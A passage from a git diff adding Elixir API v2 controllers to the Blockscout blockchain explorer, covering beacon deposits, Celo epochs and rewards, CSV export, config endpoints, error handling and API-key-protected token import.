{:max_block, current_block_number} when not is_nil(current_block_number) <- + {:max_block, BlockNumber.get_max()}, + {:average_block_time, average_block_time} when is_struct(average_block_time) <- + {:average_block_time, AverageBlockTime.average_block_time()}, + {:remaining_blocks, remaining_blocks} when remaining_blocks > 0 <- + {:remaining_blocks, target_block_number - current_block_number} do + estimated_time_in_sec = Float.round(remaining_blocks * Duration.to_seconds(average_block_time), 1) + + render(conn, :block_countdown, + current_block: current_block_number, + countdown_block: target_block_number, + remaining_blocks: remaining_blocks, + estimated_time_in_sec: estimated_time_in_sec + ) + end + end + + @doc """ + Handles `api/v2/blocks/:block_hash_or_number/beacon/deposits` endpoint. + Fetches beacon deposits included in a specific block with pagination support. + + This endpoint retrieves all beacon deposits that were included in the + specified block. The block can be identified by either its hash or number. + The results include preloaded associations for both the from_address and + withdrawal_address, including scam badges, names, smart contracts, and proxy + implementations. The response is paginated and may include ENS and metadata + enrichment if those services are enabled. + + ## Parameters + - `conn`: The Plug connection. + - `params`: A map containing: + - `"block_hash_or_number"`: The block identifier (hash or number) to fetch + deposits from. + - Optional pagination parameter: + - `"index"`: non-negative integer, the starting index for pagination. + + ## Returns + - `{:error, :not_found}` - If the block is not found. + - `{:error, {:invalid, :hash | :number}}` - If the block identifier format is + invalid. + - `{:lost_consensus, {:error, :not_found} | {:ok, Explorer.Chain.Block.t()}}` + - If the block has lost consensus in the blockchain. + - `Plug.Conn.t()` - A 200 response with rendered deposits and pagination + information when successful. + """ + @spec beacon_deposits(Plug.Conn.t(), map()) :: + {:error, :not_found | {:invalid, :hash | :number}} + | {:lost_consensus, {:error, :not_found} | {:ok, Explorer.Chain.Block.t()}} + | Plug.Conn.t() + def beacon_deposits(conn, %{"block_hash_or_number" => block_hash_or_number} = params) do + with {:ok, block} <- block_param_to_block(block_hash_or_number) do + full_options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [withdrawal_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => + :optional + }, + api?: true + ] + |> Keyword.merge(DepositController.paging_options(params)) + + deposit_plus_one = Deposit.from_block_hash(block.hash, full_options) + {deposits, next_page} = split_list_by_page(deposit_plus_one) + + next_page_params = + next_page + |> next_page_params( + deposits, + params, + DepositController.paging_function() + ) + + conn + |> put_status(200) + |> put_view(DepositView) + |> render(:deposits, %{ + deposits: deposits |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + end + + defp block_param_to_block(block_hash_or_number, options \\ @api_true) do + with {:ok, type, value} <- parse_block_hash_or_number_param(block_hash_or_number) do + fetch_block(type, value, options) + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/celo_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/celo_controller.ex new file mode 100644 index 000000000000..53c54d2e9179 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/celo_controller.ex @@ -0,0 +1,197 @@ +defmodule BlockScoutWeb.API.V2.CeloController do + use BlockScoutWeb, :controller + + import Explorer.Helper, only: [safe_parse_non_negative_integer: 1] + + import BlockScoutWeb.Chain, + only: [ + next_page_params: 4, + split_list_by_page: 1 + ] + + import Explorer.PagingOptions, only: [default_paging_options: 0] + + alias Explorer.Chain.Hash + alias Explorer.Chain.Celo.{ElectionReward, Epoch} + alias Explorer.PagingOptions + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Handles GET requests to `/api/v2/celo/epochs` endpoint. + """ + @spec epochs(Plug.Conn.t(), map()) :: Plug.Conn.t() + def epochs(conn, params) do + paging_options = + with {:ok, number_string} <- Map.fetch(params, "number"), + {:ok, number} <- parse_epoch_number(number_string) do + %{default_paging_options() | key: %{number: number}} + else + _ -> default_paging_options() + end + + options = [ + necessity_by_association: %{ + :end_processing_block => :optional, + :distribution => :optional + }, + paging_options: paging_options, + api?: true + ] + + {epochs, next_page} = + options + |> Epoch.all() + |> split_list_by_page() + + filtered_params = + params + |> Map.drop(["number"]) + + next_page_params = + next_page_params( + next_page, + epochs, + filtered_params, + &%{number: &1.number} + ) + + conn + |> render(:celo_epochs, %{ + epochs: epochs, + next_page_params: next_page_params + }) + end + + @doc """ + Handles GET requests to `/api/v2/celo/epochs/:number` endpoint. + """ + @spec epoch(Plug.Conn.t(), map()) :: Plug.Conn.t() + def epoch(conn, %{"number" => number_string}) do + options = [ + necessity_by_association: %{ + :distribution => :optional, + :start_processing_block => :optional, + :end_processing_block => :optional + }, + api?: true + ] + + with {:ok, number} <- parse_epoch_number(number_string), + {:ok, epoch} <- Epoch.from_number(number, options) do + aggregated_rewards = ElectionReward.epoch_number_to_rewards_aggregated_by_type(epoch.number, api?: true) + + conn + |> render(:celo_epoch, %{ + epoch: epoch, + aggregated_election_rewards: aggregated_rewards + }) + end + end + + @doc """ + Handles GET requests to `/api/v2/celo/epochs/:number/election-rewards/:type` + endpoint. + """ + @spec election_rewards(Plug.Conn.t(), map()) :: Plug.Conn.t() + def election_rewards(conn, %{"number" => epoch_number_string, "type" => reward_type} = params) do + with {:ok, number} <- parse_epoch_number(epoch_number_string), + {:ok, reward_type_atom} <- parse_celo_reward_type(reward_type) do + address_associations = [:names, :smart_contract, proxy_implementations_association()] + + full_options = [ + necessity_by_association: %{ + [account_address: address_associations] => :optional, + [associated_account_address: address_associations] => :optional + }, + paging_options: election_rewards_paging_options(params), + api?: true + ] + + rewards_plus_one = + ElectionReward.epoch_number_and_type_to_rewards( + number, + reward_type_atom, + full_options + ) + + {rewards, next_page} = split_list_by_page(rewards_plus_one) + + filtered_params = + params + |> Map.drop([ + "number", + "type", + "amount", + "account_address_hash", + "associated_account_address_hash" + ]) + + next_page_params = + next_page_params( + next_page, + rewards, + filtered_params, + &%{ + amount: &1.amount, + account_address_hash: &1.account_address_hash, + associated_account_address_hash: &1.associated_account_address_hash + } + ) + + conn + |> render(:celo_epoch_election_rewards, %{ + rewards: rewards, + next_page_params: next_page_params + }) + end + end + + @spec election_rewards_paging_options(map()) :: PagingOptions.t() + defp election_rewards_paging_options(params) do + with %{ + "amount" => amount_string, + "account_address_hash" => account_address_hash_string, + "associated_account_address_hash" => associated_account_address_hash_string + } + when is_binary(amount_string) and + is_binary(account_address_hash_string) and + is_binary(associated_account_address_hash_string) <- params, + {amount, ""} <- Decimal.parse(amount_string), + true <- Decimal.compare(amount, Decimal.new(0)) == :gt, + {:ok, account_address_hash} <- Hash.Address.cast(account_address_hash_string), + {:ok, associated_account_address_hash} <- + Hash.Address.cast(associated_account_address_hash_string) do + %{ + default_paging_options() + | key: %{ + amount: amount, + account_address_hash: account_address_hash, + associated_account_address_hash: associated_account_address_hash + } + } + else + _ -> default_paging_options() + end + end + + @spec parse_epoch_number(String.t()) :: + {:ok, non_neg_integer()} | {:error, {:invalid, :number}} + defp parse_epoch_number(number) do + case safe_parse_non_negative_integer(number) do + {:ok, epoch_number} when epoch_number < 32_768 -> {:ok, epoch_number} + _ -> {:error, {:invalid, :number}} + end + end + + @spec parse_celo_reward_type(String.t()) :: + {:ok, ElectionReward.type()} | {:error, {:invalid, :celo_election_reward_type}} + defp parse_celo_reward_type(reward_type_string) do + reward_type_string + |> ElectionReward.type_from_url_string() + |> case do + {:ok, type} -> {:ok, type} + :error -> {:error, {:invalid, :celo_election_reward_type}} + end + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/config_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/config_controller.ex new file mode 100644 index 000000000000..a39bfda1c026 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/config_controller.ex @@ -0,0 +1,35 @@ +defmodule BlockScoutWeb.API.V2.ConfigController do + use BlockScoutWeb, :controller + + def backend_version(conn, _params) do + backend_version = Application.get_env(:block_scout_web, :version) + + conn + |> put_status(200) + |> render(:backend_version, %{version: backend_version}) + end + + def csv_export(conn, _params) do + limit = Application.get_env(:explorer, :csv_export_limit) + + conn + |> put_status(200) + |> json(%{limit: limit}) + end + + def public_metrics(conn, _params) do + public_metrics_update_period_hours = Application.get_env(:explorer, Explorer.Chain.Metrics)[:update_period_hours] + + conn + |> put_status(200) + |> json(%{update_period_hours: public_metrics_update_period_hours}) + end + + def celo(conn, _params) do + config = Application.get_env(:explorer, :celo) + + conn + |> put_status(200) + |> json(%{l2_migration_block: config[:l2_migration_block]}) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/csv_export_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/csv_export_controller.ex new file mode 100644 index 000000000000..dff5132cc795 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/csv_export_controller.ex @@ -0,0 +1,120 @@ +defmodule BlockScoutWeb.API.V2.CsvExportController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.AccessHelper + alias Explorer.Chain + alias Explorer.Chain.Address + alias Explorer.Chain.Address.CurrentTokenBalance + alias Explorer.Chain.CsvExport.Address.InternalTransactions, as: AddressInternalTransactionsCsvExporter + alias Explorer.Chain.CsvExport.Address.Logs, as: AddressLogsCsvExporter + alias Explorer.Chain.CsvExport.Address.TokenTransfers, as: AddressTokenTransfersCsvExporter + alias Explorer.Chain.CsvExport.Address.Transactions, as: AddressTransactionsCsvExporter + + alias Explorer.Chain.CsvExport.Address.Celo.ElectionRewards, + as: AddressCeloElectionRewardsCsvExporter + + alias Explorer.Chain.CsvExport.Helper, as: CsvHelper + alias Plug.Conn + + import BlockScoutWeb.Chain, only: [fetch_scam_token_toggle: 2] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @api_true [api?: true] + + @doc """ + Performs CSV export of token holders for a given address + Endpoint: `/api/v2/tokens/:address_hash_param/holders/csv` + """ + @spec export_token_holders(Conn.t(), map()) :: Conn.t() + def export_token_holders(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:ok, false} <- AccessHelper.restricted_access?(address_hash_string, params), + {:not_found, {:ok, token}} <- {:not_found, Chain.token_from_address_hash(address_hash, @api_true)} do + token_holders = Chain.fetch_token_holders_from_token_hash_for_csv(address_hash, options()) + + token_holders + |> CurrentTokenBalance.to_csv_format(token) + |> CsvHelper.dump_to_stream() + |> Enum.reduce_while(put_resp_params(conn), fn chunk, conn -> + case Conn.chunk(conn, chunk) do + {:ok, conn} -> + {:cont, conn} + + {:error, :closed} -> + {:halt, conn} + end + end) + end + end + + @spec put_resp_params(Conn.t()) :: Conn.t() + def put_resp_params(conn) do + conn + |> put_resp_content_type("application/csv") + |> put_resp_header("content-disposition", "attachment;") + |> put_resp_cookie("csv-downloaded", "true", max_age: 86_400, http_only: false) + |> send_chunked(200) + end + + defp options, do: [paging_options: CsvHelper.paging_options(), api?: true] + + defp items_csv( + conn, + %{ + # todo: eliminate this parameter in favour address_hash_param + "address_id" => address_hash_string, + "from_period" => from_period, + "to_period" => to_period + } = params, + csv_export_module + ) + when is_binary(address_hash_string) do + with {:ok, address_hash} <- Chain.string_to_address_hash(address_hash_string), + {:address_exists, true} <- {:address_exists, Address.address_exists?(address_hash)} do + filter_type = Map.get(params, "filter_type") + filter_value = Map.get(params, "filter_value") + + address_hash + |> csv_export_module.export(from_period, to_period, fetch_scam_token_toggle([], conn), filter_type, filter_value) + |> Enum.reduce_while(put_resp_params(conn), fn chunk, conn -> + case Conn.chunk(conn, chunk) do + {:ok, conn} -> + {:cont, conn} + + {:error, :closed} -> + {:halt, conn} + end + end) + else + :error -> + unprocessable_entity(conn) + + {:address_exists, false} -> + not_found(conn) + end + end + + defp items_csv(conn, _, _), do: not_found(conn) + + def token_transfers_csv(conn, params) do + items_csv(conn, params, AddressTokenTransfersCsvExporter) + end + + def transactions_csv(conn, params) do + items_csv(conn, params, AddressTransactionsCsvExporter) + end + + def internal_transactions_csv(conn, params) do + items_csv(conn, params, AddressInternalTransactionsCsvExporter) + end + + def logs_csv(conn, params) do + items_csv(conn, params, AddressLogsCsvExporter) + end + + @spec celo_election_rewards_csv(Conn.t(), map()) :: Conn.t() + def celo_election_rewards_csv(conn, params) do + items_csv(conn, params, AddressCeloElectionRewardsCsvExporter) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/ethereum/deposit_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/ethereum/deposit_controller.ex new file mode 100644 index 000000000000..f8d63ed2746b --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/ethereum/deposit_controller.ex @@ -0,0 +1,142 @@ +defmodule BlockScoutWeb.API.V2.Ethereum.DepositController do + use BlockScoutWeb, :controller + use OpenApiSpex.ControllerSpecs + + import BlockScoutWeb.Chain, only: [next_page_params: 4, split_list_by_page: 1] + import Explorer.MicroserviceInterfaces.BENS, only: [maybe_preload_ens: 1] + import Explorer.MicroserviceInterfaces.Metadata, only: [maybe_preload_metadata: 1] + + alias Explorer.{Chain, PagingOptions} + alias Explorer.Chain.Beacon.Deposit + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + plug(OpenApiSpex.Plug.CastAndValidate, json_render_error_v2: true) + + tags ["beacon_deposits"] + + operation :list, + summary: "Lists all beacon deposits", + description: "Retrieves a paginated list of all beacon deposits.", + parameters: base_params() ++ define_paging_params(["deposit_index", "items_count"]), + responses: [ + ok: + {"List of Beacon Deposits, with pagination.", "application/json", + paginated_response( + items: Schemas.Beacon.Deposit, + next_page_params_example: %{ + "index" => 123, + "items_count" => 50 + }, + title_prefix: "BeaconDeposits" + )}, + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles `api/v2/beacon/deposits` endpoint. + Lists all beacon deposits with pagination support. + + This endpoint retrieves all beacon deposits from the blockchain in a + paginated format. The results include preloaded associations for both the + from_address and withdrawal_address, including scam badges, names, smart + contracts, and proxy implementations. The response may include ENS and + metadata enrichment if those services are enabled. + + ## Parameters + - `conn`: The Plug connection. + - `params`: A map containing optional pagination parameters: + - `"index"`: non-negative integer, the starting index for pagination. + + ## Returns + - `Plug.Conn.t()` - A 200 response with rendered deposits and pagination + information. + """ + @spec list(Plug.Conn.t(), map()) :: Plug.Conn.t() + def list(conn, params) do + full_options = + [ + necessity_by_association: %{ + [from_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional, + [withdrawal_address: [:scam_badge, :names, :smart_contract, proxy_implementations_association()]] => :optional + }, + api?: true + ] + |> Keyword.merge(paging_options(params)) + + deposit_plus_one = Deposit.all(full_options) + {deposits, next_page} = split_list_by_page(deposit_plus_one) + + next_page_params = + next_page + |> next_page_params(deposits, params, paging_function()) + + conn + |> put_status(200) + |> render(:deposits, %{ + deposits: deposits |> maybe_preload_ens() |> maybe_preload_metadata(), + next_page_params: next_page_params + }) + end + + operation :count, + summary: "Gets total count of beacon deposits", + description: "Retrieves the total count of beacon deposits.", + responses: [ + ok: + {"Total count of beacon deposits.", "application/json", + %Schema{ + title: "TotalBeaconDepositsCount", + type: :object, + properties: %{ + deposits_count: %Schema{type: :integer, nullable: false} + }, + required: [:deposits_count], + additionalProperties: false + }}, + forbidden: ForbiddenResponse.response() + ] + + @doc """ + Handles `api/v2/beacon/deposits/count` endpoint. + Returns the total count of beacon deposits. + + This endpoint calculates the total number of beacon deposits by retrieving + the latest deposit's index. Since deposit indices are 0-based and sequential, + the total count equals the highest index plus one. If no deposits exist, the + count is 0. + + ## Parameters + - `conn`: The Plug connection. + + ## Returns + - `Plug.Conn.t()` - A JSON response containing: + - `deposits_count`: The total number of beacon deposits (integer). + """ + @spec count(Plug.Conn.t(), map()) :: Plug.Conn.t() + def count(conn, _params) do + last_deposit = Deposit.get_latest_deposit(api?: true) || %{index: -1} + + conn |> json(%{deposits_count: last_deposit.index + 1}) + end + + @spec paging_options(map()) :: [Chain.paging_options()] + def paging_options(%{"index" => index}) do + case Integer.parse(index) do + {index, ""} -> [paging_options: %{PagingOptions.default_paging_options() | key: %{index: index}}] + _ -> [paging_options: PagingOptions.default_paging_options()] + end + end + + def paging_options(%{index: index}) do + [paging_options: %{PagingOptions.default_paging_options() | key: %{index: index}}] + end + + def paging_options(_), do: [paging_options: PagingOptions.default_paging_options()] + + @spec paging_function() :: (Deposit.t() -> %{index: non_neg_integer()}) + def paging_function, + do: fn deposit -> + %{index: deposit.index} + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/fallback_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/fallback_controller.ex new file mode 100644 index 000000000000..37b44cb23a04 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/fallback_controller.ex @@ -0,0 +1,347 @@ +defmodule BlockScoutWeb.API.V2.FallbackController do + use Phoenix.Controller + + require Logger + + alias BlockScoutWeb.Account.API.V2.UserView + alias BlockScoutWeb.API.V2.ApiView + alias Ecto.Changeset + + @invalid_parameters "Invalid parameter(s)" + @invalid_address_hash "Invalid address hash" + @invalid_hash "Invalid hash" + @invalid_number "Invalid number" + @invalid_url "Invalid URL" + @invalid_celo_election_reward_type "Invalid Celo reward type, allowed types are: validator, group, voter, delegated-payment" + @not_found "Not found" + @contract_interaction_disabled "Contract interaction disabled" + @restricted_access "Restricted access" + @already_verified "Already verified" + @json_not_found "JSON files not found" + @error_while_reading_json "Error while reading JSON file" + @error_in_libraries "Libraries are not valid JSON map" + @block_lost_consensus "Block lost consensus" + @invalid_captcha_resp "Invalid reCAPTCHA response" + @unauthorized "Unauthorized" + @not_configured_api_key "API key not configured on the server" + @wrong_api_key "Wrong API key" + @address_not_found "Address not found" + @address_is_not_smart_contract "Address is not smart-contract" + @vyper_smart_contract_is_not_supported "Vyper smart-contracts are not supported by SolidityScan" + @unverified_smart_contract "Smart-contract is unverified" + @empty_response "Empty response" + @transaction_interpreter_service_disabled "Transaction Interpretation Service is disabled" + @disabled "API endpoint is disabled" + @service_disabled "Service is disabled" + @not_a_smart_contract "Address is not a smart-contract" + + def call(conn, {:format, _params}) do + Logger.error(fn -> + ["#{@invalid_parameters}"] + end) + + conn + |> put_status(:unprocessable_entity) + |> put_view(ApiView) + |> render(:message, %{message: @invalid_parameters}) + end + + def call(conn, {:format_address, _}) do + Logger.error(fn -> + ["#{@invalid_address_hash}"] + end) + + conn + |> put_status(:unprocessable_entity) + |> put_view(ApiView) + |> render(:message, %{message: @invalid_address_hash}) + end + + def call(conn, {:format_url, _}) do + Logger.error(fn -> + ["#{@invalid_url}"] + end) + + conn + |> put_status(:unprocessable_entity) + |> put_view(ApiView) + |> render(:message, %{message: @invalid_url}) + end + + def call(conn, {:not_found, _, :empty_items_with_next_page_params}) do + Logger.error(fn -> + [":empty_items_with_next_page_params"] + end) + + conn + |> json(%{"items" => [], "next_page_params" => nil}) + end + + def call(conn, {:not_found, _}) do + Logger.error(fn -> + ["#{@not_found}"] + end) + + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: @not_found}) + end + + def call(conn, {:contract_interaction_disabled, _}) do + Logger.error(fn -> + ["#{@contract_interaction_disabled}"] + end) + + conn + |> put_status(:forbidden) + |> put_view(ApiView) + |> render(:message, %{message: @contract_interaction_disabled}) + end + + def call(conn, {:error, {:invalid, entity}}) + when entity in ~w(hash number celo_election_reward_type)a do + message = + case entity do + :hash -> @invalid_hash + :number -> @invalid_number + :celo_election_reward_type -> @invalid_celo_election_reward_type + end + + Logger.error(fn -> + ["#{message}"] + end) + + conn + |> put_status(:unprocessable_entity) + |> put_view(ApiView) + |> render(:message, %{message: message}) + end + + def call(conn, {:error, :not_found}) do + Logger.error(fn -> + [":not_found"] + end) + + conn + |> call({:not_found, nil}) + end + + def call(conn, {:error, %Changeset{} = changeset}) do + conn + |> put_status(:unprocessable_entity) + |> put_view(UserView) + |> render(:changeset_errors, changeset: changeset) + end + + def call(conn, {:error, :badge_creation_failed}) do + conn + |> put_status(:unprocessable_entity) + |> put_view(UserView) + |> render(:message, %{message: "Badge creation failed"}) + end + + def call(conn, {:restricted_access, true}) do + Logger.error(fn -> + ["#{@restricted_access}"] + end) + + conn + |> put_status(:forbidden) + |> put_view(ApiView) + |> render(:message, %{message: @restricted_access}) + end + + def call(conn, {:already_verified, _}) do + Logger.error(fn -> + ["#{@already_verified}"] + end) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @already_verified}) + end + + def call(conn, {:no_json_file, _}) do + Logger.error(fn -> + ["#{@json_not_found}"] + end) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @json_not_found}) + end + + def call(conn, {:file_error, _}) do + Logger.error(fn -> + ["#{@error_while_reading_json}"] + end) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @error_while_reading_json}) + end + + def call(conn, {:libs_format, _}) do + Logger.error(fn -> + ["#{@error_in_libraries}"] + end) + + conn + |> put_view(ApiView) + |> render(:message, %{message: @error_in_libraries}) + end + + def call(conn, {:lost_consensus, {:ok, block}}) do + Logger.error(fn -> + ["#{@block_lost_consensus}"] + end) + + conn + |> put_status(:not_found) + |> json(%{message: @block_lost_consensus, hash: to_string(block.hash)}) + end + + def call(conn, {:lost_consensus, {:error, :not_found}}) do + Logger.error(fn -> + ["#{@block_lost_consensus}"] + end) + + conn + |> call({:not_found, nil}) + end + + def call(conn, {:recaptcha, _}) do + Logger.error(fn -> + ["#{@invalid_captcha_resp}"] + end) + + conn + |> put_status(:forbidden) + |> put_view(ApiView) + |> render(:message, %{message: @invalid_captcha_resp}) + end + + def call(conn, {:auth, _}) do + Logger.error(fn -> + ["#{@unauthorized}"] + end) + + conn + |> put_status(:unauthorized) + |> put_view(ApiView) + |> render(:message, %{message: @unauthorized}) + end + + def call(conn, {:sensitive_endpoints_api_key, _}) do + Logger.error(fn -> + ["#{@not_configured_api_key}"] + end) + + conn + |> put_status(:forbidden) + |> put_view(ApiView) + |> render(:message, %{message: @not_configured_api_key}) + end + + def call(conn, {:api_key, _}) do + Logger.error(fn -> + ["#{@wrong_api_key}"] + end) + + conn + |> put_status(:unauthorized) + |> put_view(ApiView) + |> render(:message, %{message: @wrong_api_key}) + end + + def call(conn, {:address, {:error, :not_found}}) do + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: @address_not_found}) + end + + def call(conn, {:is_smart_contract, result}) when is_nil(result) or result == false do + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: @address_is_not_smart_contract}) + end + + def call(conn, {:language, :vyper}) do + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: @vyper_smart_contract_is_not_supported}) + end + + def call(conn, {:is_verified_smart_contract, result}) when result == false do + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: @unverified_smart_contract}) + end + + def call(conn, {:is_empty_response, true}) do + conn + |> put_status(500) + |> put_view(ApiView) + |> render(:message, %{message: @empty_response}) + end + + def call(conn, {:transaction_interpreter_enabled, false}) do + conn + |> put_status(:forbidden) + |> put_view(ApiView) + |> render(:message, %{message: @transaction_interpreter_service_disabled}) + end + + def call(conn, {:disabled, _}) do + conn + |> put_status(:forbidden) + |> put_view(ApiView) + |> render(:message, %{message: @disabled}) + end + + def call(conn, {:error, :disabled}) do + conn + |> put_status(501) + |> put_view(ApiView) + |> render(:message, %{message: @service_disabled}) + end + + def call(conn, {:not_a_smart_contract, _}) do + conn + |> put_status(:not_found) + |> put_view(ApiView) + |> render(:message, %{message: @not_a_smart_contract}) + end + + def call(conn, {:average_block_time, {:error, :disabled}}) do + conn + |> put_status(501) + |> put_view(ApiView) + |> render(:message, %{message: "Average block time calculating is disabled, so getblockcountdown is not available"}) + end + + def call(conn, {stage, _}) when stage in ~w(max_block average_block_time)a do + conn + |> put_status(200) + |> put_view(ApiView) + |> render(:message, %{message: "Chain is indexing now, try again later"}) + end + + def call(conn, {:remaining_blocks, _}) do + conn + |> put_status(200) + |> put_view(ApiView) + |> render(:message, %{message: "Error! Block number already pass"}) + end + + def call(conn, {code, response}) when is_integer(code) do + conn + |> put_status(code) + |> json(response) + end +end diff --git a/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/import_controller.ex b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/import_controller.ex new file mode 100644 index 000000000000..ba7b6bf002e4 --- /dev/null +++ b/apps/block_scout_web/lib/block_scout_web/controllers/api/v2/import_controller.ex @@ -0,0 +1,234 @@ +defmodule BlockScoutWeb.API.V2.ImportController do + use BlockScoutWeb, :controller + + alias BlockScoutWeb.API.V2.ApiView + alias Explorer.Chain + alias Explorer.Chain.{Address, Data, Token} + alias Explorer.Chain.Fetcher.LookUpSmartContractSourcesOnDemand + alias Explorer.SmartContract.EthBytecodeDBInterface + alias Indexer.Fetcher.TokenUpdater + + import Explorer.SmartContract.Helper, only: [prepare_bytecode_for_microservice: 3, contract_creation_input: 1] + + require Logger + @api_true [api?: true] + + action_fallback(BlockScoutWeb.API.V2.FallbackController) + + @doc """ + Function to handle POST request to `/api/v2/import/token-info` + + Needed to import token info via admin panel. + Protected by `x-api-key` header. + """ + @spec import_token_info(Plug.Conn.t(), map()) :: + {:api_key, any()} + | {:format_address, :error} + | {:not_found, {:error, :not_found}} + | {:sensitive_endpoints_api_key, any()} + | Plug.Conn.t() + def import_token_info( + conn, + %{ + "icon_url" => icon_url, + "token_address" => token_address_hash_string, + "token_symbol" => token_symbol, + "token_name" => token_name + } = params + ) do + with {:ok, token} <- validate_api_key_address_hash_and_token(token_address_hash_string, params["api_key"]) do + changeset = + %{is_verified_via_admin_panel: true} + |> put_icon_url(icon_url) + |> put_token_string_field(token_symbol, :symbol) + |> put_token_string_field(token_name, :name) + + case Token.update(token, changeset, true) do + {:ok, _} -> + conn + |> put_view(ApiView) + |> render(:message, %{message: "Success"}) + + error -> + Logger.warning(fn -> ["Error on importing token info: ", inspect(error)] end) + + conn + |> put_view(ApiView) + |> put_status(:bad_request) + |> render(:message, %{message: "Error"}) + end + end + end + + # TODO: delete after successful migration from the token info service + def import_token_info( + conn, + %{ + "iconUrl" => icon_url, + "tokenAddress" => token_address_hash_string, + "tokenSymbol" => token_symbol, + "tokenName" => token_name + } = params + ) do + with {:ok, token} <- validate_api_key_address_hash_and_token(token_address_hash_string, params["api_key"]) do + changeset = + %{is_verified_via_admin_panel: true} + |> put_icon_url(icon_url) + |> put_token_string_field(token_symbol, :symbol) + |> put_token_string_field(token_name, :name) + + case Token.update(token, changeset, true) do + {:ok, _} -> + conn + |> put_view(ApiView) + |> render(:message, %{message: "Success"}) + + error -> + Logger.warning(fn -> ["Error on importing token info: ", inspect(error)] end) + + conn + |> put_view(ApiView) + |> put_status(:bad_request) + |> render(:message, %{message: "Error"}) + end + end + end + + @doc """ + Function to handle request at: + `/api/v2/import/smart-contracts/{address_hash_param}` + + Needed to try to import unverified smart contracts via eth-bytecode-db (`/api/v2/bytecodes/sources:search` method). + Protected by `x-api-key` header. + """ + @spec try_to_search_contract(Plug.Conn.t(), map()) :: + {:already_verified, boolean()} + | {:api_key, nil | binary()} + | {:format, :error} + | {:not_found, {:error, :not_found}} + | {:sensitive_endpoints_api_key, any()} + | Plug.Conn.t() + def try_to_search_contract(conn, %{"address_hash_param" => address_hash_string} = params) do + with {:sensitive_endpoints_api_key, api_key} when not is_nil(api_key) <- + {:sensitive_endpoints_api_key, Application.get_env(:block_scout_web, :sensitive_endpoints_api_key)}, + {:api_key, ^api_key} <- {:api_key, get_api_key_header(conn)}, + {:format, {:ok, address_hash}} <- {:format, Chain.string_to_address_hash(address_hash_string)}, + {:not_found, {:ok, address}} <- + {:not_found, + Chain.hash_to_address(address_hash, + necessity_by_association: %{ + :smart_contract => :optional + }, + api?: true + )}, + {:nonempty_bytecode, true} <- {:nonempty_bytecode, Address.smart_contract_with_nonempty_code?(address)}, + {:already_verified, false} <- + {:already_verified, + not (is_nil(address.smart_contract) or + address.smart_contract.partially_verified)} do + creation_transaction_input = contract_creation_input(address.hash) + + with {:ok, %{"sourceType" => type} = source} <- + %{} + |> prepare_bytecode_for_microservice(creation_transaction_input, Data.to_string(address.contract_code)) + |> EthBytecodeDBInterface.search_contract_in_eth_bytecode_internal_db( + address_hash_string, + params_to_contract_search_options(params) + ), + {:ok, _} <- LookUpSmartContractSourcesOnDemand.process_contract_source(type, source, address.hash) do + conn + |> put_view(ApiView) + |> render(:message, %{message: "Success"}) + else + _ -> + conn + |> put_view(ApiView) + |> render(:message, %{message: "Contract was not imported"}) + end + end + end + + def delete_token_info( + conn, + %{ + "token_address_hash" => token_address_hash_string + } = params + ) do + with {:ok, token} <- validate_api_key_address_hash_and_token(token_address_hash_string, params["api_key"]) do + case Token.drop_token_info(token) do + {:ok, _} -> + TokenUpdater.run([token], []) + + conn + |> put_view(ApiView) + |> render(:message, %{message: "Success"}) + + error -> + Logger.warning(fn -> ["Error on deleting token info: ", inspect(error)] end) + + conn + |> put_view(ApiView) + |> put_status(:bad_request) + |> render(:message, %{message: "Error"}) + end + end + end + + defp params_to_contract_search_options(%{"import_from" => "verifier_alliance"}) do + [only_verifier_alliance?: true] + end + + defp params_to_contract_search_options(%{"import_from" => "eth_bytecode_db"}) do + [only_eth_bytecode_db?: true] + end + + defp params_to_contract_search_options(_), do: [] + + defp valid_url?(url) when is_binary(url) do + uri = URI.parse(url) + uri.scheme != nil && uri.host =~ "." + end + + defp valid_url?(_url), do: false + + defp put_icon_url(changeset, icon_url) do + if valid_url?(icon_url) do + Map.put(changeset, :icon_url, icon_url) + else + changeset + end + end + + defp put_token_string_field(changeset, token_symbol, field) when is_binary(token_symbol) do + token_symbol = String.trim(token_symbol) + + if token_symbol !== "" do + Map.put(changeset, field, token_symbol) + else + 